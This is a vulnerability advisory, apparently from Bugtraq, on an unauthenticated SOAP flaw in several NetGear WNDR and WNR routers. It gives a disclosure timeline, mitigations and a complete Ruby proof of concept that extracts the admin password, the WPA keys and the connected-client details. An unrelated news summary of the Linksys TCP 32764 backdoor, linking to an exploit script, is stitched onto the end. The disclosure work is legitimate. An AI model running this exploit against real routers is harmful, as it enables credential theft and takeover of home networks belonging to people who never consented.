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>> NetGear WNDR Authentication Bypass / Information Disclosure Reported by: ---- Peter Adkins <peter.adkins () kernelpicnic.net> Access: ---- Local network; unauthenticated access. Remote network; unauthenticated access*. Tracking and identifiers: ---- CVE - Mitre contacted; not yet allocated. Platforms / Firmware confirmed affected: ---- NetGear WNDR3700v4 - V1.0.0.4SH NetGear WNDR3700v4 - V1.0.1.52 NetGear WNR2200 - V1.0.1.88 NetGear WNR2500 - V1.0.0.24 Additional platforms believed to be affected: ---- NetGear WNDR3800 NetGear WNDRMAC NetGear WPN824N NetGear WNDR4700 Vendor involvement: ---- 2015-01-18 - Initial contact with NetGear regarding vulnerability. 2015-01-18 - NetGear advised to email support with concerns. 2015-01-18 - Email sent to NetGear (support). 2015-01-19 - Email sent to Mitre. 2015-01-20 - NetGear (support) advised that a ticket had been created. 2015-01-21 - NetGear (support) requested product verification. 2015-01-21 - Replied to NetGear with information requested. 2015-01-23 - NetGear (support) requested clarification of model. 2015-01-23 - Replied to NetGear with list of affected models. 2015-01-27 - NetGear (support) replied with router security features. 2015-01-27 - Replied to NetGear and reiterated vulnerability. 2015-01-29 - Email sent to NetGear (OpenSource) regarding issue. 2015-01-30 - Case auto-closure email received from NetGear (support). 2015-02-01 - Reply from Mitre requesting additional information. 2015-02-01 - Email to Mitre with additional information. 2015-02-11 - Vulnerability published to Bugtraq and GitHub. Mitigation: ---- * Ensure remote / WAN management is disabled on the affected devices. * Only allow trusted devices access to the local network. Notes: ---- * These vulnerabilities can be leveraged "externally" over the internet, but require devices to have remote / WAN management enabled. * Due to the location of this issue (net-cgi) this vulnerability may be present in other devices and firmware revisions not listed in this document. * In the absence of a known security contact these issues were reported to NetGear support. The initial response from NetGear support was that despite these issues "the network should still stay secure" due to a number of built-in security features. Attempts to clarify the nature of this vulnerability with support were unsuccessful. This ticket has since been auto-closed while waiting for a follow up. A subsequent email sent to the NetGear 'OpenSource' contact has also gone unanswered. * If you have a NetGear device that is believed to be affected and can confirm whether the PoC works successfully, please let me know and I will update the copy of this document on GitHub (see below) and provide credit for your findings. ---- "Genie" SOAP Service ---- A number of NetGear WNDR devices contain an embedded SOAP service that is seemingly for use with the NetGear Genie application. This service allows for viewing and setting of certain router parameters, such as: * WLAN credentials and SSIDs. * Connected clients. * Guest WLAN credentials and SSIDs. * Parental control settings. At first glance, this service appears to be filtered and authenticated; HTTP requests with a `SOAPAction` header set but without a session identifier will yield a HTTP 401 error. However, a HTTP request with a blank form and a `SOAPAction` header is sufficient to execute certain requests and query information from the device. As this SOAP service is implemented by the built-in HTTP / CGI daemon, unauthenticated queries will also be answered over the internet if remote management has been enabled on the device. As a result, affected devices can be interrogated and hijacked with as little as a well placed HTTP query. The attached proof of concept uses this service in order to extract the administrator password, device serial number, WLAN details, and various details regarding clients currently connected to the device. A copy of this document, as well as the proof of concept below and a more detailed write-up has been made available via GitHub: * https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR ---- Ruby PoC ---- require 'optparse' require 'nokogiri' require 'restclient' # Set defaults and parse command line arguments options = {} options[:addr] = "192.168.1.1" options[:port] = 80 options[:ssl] = false OptionParser.new do |option| option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| options[:addr] = a end option.on("--port [PORT]", "Destination TCP port") do |p| options[:port] = p end option.on("--[no-]ssl", "Destination uses SSL") do |s| options[:ssl] = s end option.parse! end # Define which SOAPActions we will be using. actions = [ { :name => "Fetch password", :call => "lan_config_security_get_info", :soap => "LANConfigSecurity:1#GetInfo" }, { :name => "Fetch WLAN", :call => "wlan_config_get_info", :soap => "WLANConfiguration:1#GetInfo" }, { :name => "Fetch WPA Security Keys", :call => "wlan_config_get_wpa_keys", :soap => "WLANConfiguration:1#GetWPASecurityKeys" }, { :name => "Fetch hardware", :call => "device_info_get_info", :soap => "DeviceInfo:1#GetInfo" }, { :name => "Fetch hardware", :call => "device_info_get_attached", :soap => "DeviceInfo:1#GetAttachDevice" } #{ # :name => "Dump configuration", # :call => "device_config_get_config_info", # :soap => "DeviceConfig:1#GetConfigInfo" #} ] def device_info_get_info(xml) puts "[*] Model Number: #{xml.xpath('//ModelName').text}" puts "[*] Serial Number: #{xml.xpath('//SerialNumber').text}" puts "[*] Firmware Version: #{xml.xpath('//Firmwareversion').text}" end def lan_config_security_get_info(xml) puts "[*] Admin Password: #{xml.xpath("//NewPassword").text}" end def wlan_config_get_info(xml) puts "[*] WLAN SSID: #{xml.xpath('//NewSSID').text}" puts "[*] WLAN Enc: #{xml.xpath('//NewBasicEncryptionModes').text}" end def wlan_config_get_wpa_keys(xml) puts "[*] WLAN WPA Key: #{xml.xpath('//NewWPAPassphrase').text} " end def device_config_get_config_info(xml) puts "[*] Base64 Config: #{xml.xpath('//NewConfigFile').text} " end def device_info_get_attached(xml) # Data is '@' delimited. devices = xml.xpath('//NewAttachDevice').text.split("@") devices.each_index do |i| # First element is a device count. if i == 0 next end # Split by ';' which pulls out the device IP, name and MAC. detail = devices[i].split(";") puts "[*] Attached: #{detail[2]} - #{detail[1]} (#{detail[3]})" end end # Form endpoint based on protocol, no path is required. if options[:ssl] endpoint = "https://#{options[:addr]}:#{options[:port]}/" else endpoint = "http://#{options[:addr]}:#{options[:port]}/" end # Iterate over all actions and attempt to execute. puts "[!] Attempting to extract information from #{endpoint}" actions.each do |action| # Build the target URL and setup the HTTP client object. request = RestClient::Resource.new( endpoint, :verify_ssl => OpenSSL::SSL::VERIFY_NONE) # Fire the request and ensure a 200 OKAY. begin response = request.post( { "" => "" }, { "SOAPAction" => "urn:NETGEAR-ROUTER:service:#{action[:soap]}"}) rescue puts "[!] Failed to query remote host." abort end if response.code != 200 puts "[-] '#{action[:name]}' failed with response: #{response.code}" next end # Parse XML document. xml = Nokogiri::XML(response.body()) if xml.xpath('//ResponseCode').text == '401' puts "[-] '#{action[:name]}' failed with a SOAP error (401)" next end # Send to the processor. send(action[:call], xml) end # FIN. Source

In a blog post, Eloi said that During Christmas Holidays he forgot the admin interface password of his Linksys WAG200G router and in an effort to gain access back of its administration panel, he first scanned the Router and found a suspicious open TCP port i.e. 32764. To do further research on this port service, he downloaded a copy Linksys firmware and reverse-engineered it. He found was a secret backdoor interface that allowed him to send commands to the router from a command-line shell without being authenticated as the administrator. Then he tried to Brute-force the login available at that port, but doing so flips the router's configuration back to factory settings with default router administration username and password. 'The backdoor requires that the attacker be on the local network, so this isn’t something that could be used to remotely attack DSL users. However, it could be used to commandeer a wireless access point and allow an attacker to get unfettered access to local network resources.' He described the complete details of this Serious vulnerability in above slides. After his post, other hackers around the world did further research, that shows that these devices are made by Sercomm, meaning that Cisco, Watchguard, Belkin and various others may be affected as well. Source: Hacking Wireless DSL routers via Administrative password Reset Vulnerability The Python based exploit script can be downloaded from here: https://github.com/elvanderb/TCP-32764 The Complete List of vulnerable devices can be found here: https://github.com/elvanderb/TCP-32764/blob/master/README.md